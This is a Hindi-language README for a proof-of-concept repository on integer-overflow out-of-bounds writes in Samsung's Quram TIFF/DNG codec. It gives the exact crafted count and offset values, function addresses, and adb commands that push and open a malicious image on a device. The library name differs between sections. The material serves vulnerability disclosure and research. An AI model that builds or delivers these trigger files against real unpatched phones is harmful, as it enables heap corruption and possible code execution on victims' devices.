
Samsung libimagecodec.quram.so OOB Write PoC
इस रिपॉजिटरी में अवधारणात्मक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) फ़ाइलें हैं जो Samsung Android उपकरणों पर उपयोग की जाने वाली Quramsoft इमेज कोडेक लाइब्रेरी (libimagecodec.quram.so) में आउट-ऑफ-बाउंड्स (OOB) राइट कमजोरियों का प्रदर्शन करती हैं।
| CVE | फ़ॉर्मेट | प्रकार | गंभीरता | CVSS 4.0 | पैच किया गया |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | आउट-ऑफ-बाउंड्स राइट (CWE-787) | गंभीर | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | आउट-ऑफ-बाउंड्स राइट (CWE-787) | उच्च | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.soकमजोरी IFD (इमेज फ़ाइल डायरेक्टरी) टैग पार्सिंग फ़ंक्शन WINKJ_ReadExifField (64-बिट बाइनरी में ऑफसेट 0x13a0a8) में रहती है। यह फ़ंक्शन व्यक्तिगत TIFF/EXIF IFD प्रविष्टियों को संसाधित करता है, प्रत्येक 12-बाइट संरचना होती है:
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
जब count * element_size > 4, तब 4-बाइट Value फ़ील्ड को फ़ाइल ऑफसेट के रूप में माना जाता है (जो वास्तविक डेटा के स्थान को इंगित करता है)। कोड फिर पते 0x13a258 पर एक सीमा जांच करता है:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
कमजोरी जोड़ में 32-बिट अहस्ताक्षरित पूर्णांक अतिप्रवाह है। यदि कोई हमलावर value_offset और count * element_size को इस प्रकार तैयार करता है कि उनका योग एक छोटे मान में लपेट जाए, तो जांच पास हो जाती है, भले ही base + value_offset पर वास्तविक मेमोरी एक्सेस सीमा से बाहर चला जाए।
उदाहरण (UNDEFINED प्रकार, element_size = 1):
32-बिट जोड़ 0x17FFF + 0xFFFF0001 = 0x10008000 को काटकर 0x8000 कर दिया जाता है, जो buffer_size के बराबर है। जांच पास हो जाती है, लेकिन वास्तविक डेटा पॉइंटर (base + 0x17FFF) आवंटित बफर के अंत से 0x7FFF बाइट आगे स्थित होता है।
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| फ़ाइल | विवरण |
|---|---|
cve-2026-21045_tiff_oob_poc.py | उत्पन्न करता है poc_crash.tif — निर्मित काउंट/ऑफसेट के साथ ASCII टैग के माध्यम से OOB राइट ट्रिगर करने वाला दुर्भावनापूर्ण TIFF |
cve-2026-21048_dng_oob_poc.py | उत्पन्न करता है poc_crash.dng — निर्मित काउंट/ऑफसेट के साथ UNDEFINED टैग के माध्यम से OOB राइट ट्रिगर करने वाला दुर्भावनापूर्ण DNG |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
एक अनपैच्ड डिवाइस पर (सुरक्षा पैच < जुलाई 2026), Samsung गैलरी (या Quram डिकोडर का उपयोग करने वाले किसी भी ऐप) में निर्मित TIFF/DNG फ़ाइल खोलने से हीप मेमोरी भ्रष्टाचार हो सकता है जो संभावित रूप से इनकी ओर ले जाता है:
एक पैच किए गए डिवाइस पर (SMR Jul-2026+), छवि को या तो अमान्य के रूप में अस्वीकार कर दिया जाना चाहिए या सुरक्षित रूप से संसाधित किया जाना चाहिए। पूरी तरह से पैच किए गए डिवाइस पर क्रैश एक अलग अनपैच की गई समस्या का संकेत दे सकता है।
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
WINKJ_ReadExifField से निकाला गया:
element_size = 1 वाले सभी प्रकार (BYTE, ASCII, UNDEFINED) एक ही हैंडलर साझा करते हैं और पूर्णांक अतिप्रवाह बायपास के लिए समान रूप से कमजोर हैं।
ये प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किए गए हैं। ये कमजोरी तंत्र का प्रदर्शन करते हैं ताकि उपयोगकर्ताओं और डेवलपर्स को जोखिम समझने में मदद मिल सके। उन प्रणालियों के खिलाफ इनका उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
| फ़ील्ड | मान (हेक्स) | दशमलव |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000 (अतिप्रवाह!) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
जांच परिणाम: 0x8000 <= 0x8000 | ✅ पास | — |
वास्तविक मेमोरी एक्सेस: base + 0x17FFF | बफर से 0x7FFF बाइट आगे | ❌ OOB |
| फ़ंक्शन | पता (64-bit) | आकार | उद्देश्य |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | व्यक्तिगत IFD प्रविष्टि को पार्स करता है (कमजोर) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | सभी IFD प्रविष्टियाँ पढ़ता है |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | उच्च-स्तरीय TIFF जानकारी पार्सर |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | मुख्य TIFF पार्सिंग प्रवेश बिंदु |
decodeTIFF | 0x1a2adc | 580 | libtiff के माध्यम से TIFF छवि डिकोड करता है |
getTIFFImageInfo | 0x1a2d20 | 508 | TIFF छवि मेटाडेटा प्राप्त करता है |
copySubImageBuffer | 0x0b2824 | 324 | उप-छवि क्षेत्र की प्रतिलिपि बनाता है |
TIFFReadDirectory | 0x1aac78 | 5896 | libtiff 4.6.0 निर्देशिका रीडर |
_TIFFMultiply32 | 0x1a2f1c | 56 | सुरक्षित 32-बिट गुणन जांच |
_TIFFMultiply64 | 0x1a2f58 | 48 | सुरक्षित 64-बिट गुणन जांच |
| प्रकार | नाम | एलिमेंट आकार | हैंडलर पता |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | विवरण | स्थिति |
|---|
| CVE-2025-58477 | libimagecodec.quram.so में IFD टैग पार्सिंग में OOB राइट (SMR Dec-2025) | ✅ पैच किया गया |
| CVE-2026-20973 | libimagecodec.quram.so में OOB रीड (SMR Jan-2026) | ✅ पैच किया गया |
| CVE-2026-21045 | libimagecodec.media.quram.so में TIFF पार्सिंग में OOB राइट (SMR Jul-2026) | ⚠️ मेरे लिए अनपैच्ड |
| CVE-2026-21048 | libimagecodec.media.quram.so में DNG पार्सिंग में OOB राइट (SMR Jul-2026) | ⚠️ मेरे लिए अनपैच्ड |
| CVE-2026-4775 | libtiff 4.6.0 putcontig8bitYCbCr44tile में साइन किया गया पूर्णांक अतिप्रवाह | ⚠️ मेरे लिए अनपैच्ड |
| CVE-2024-7006 | libtiff tif_dirinfo.c में NULL डीरेफरेंस | ✅ 4.6.1 में ठीक किया गया |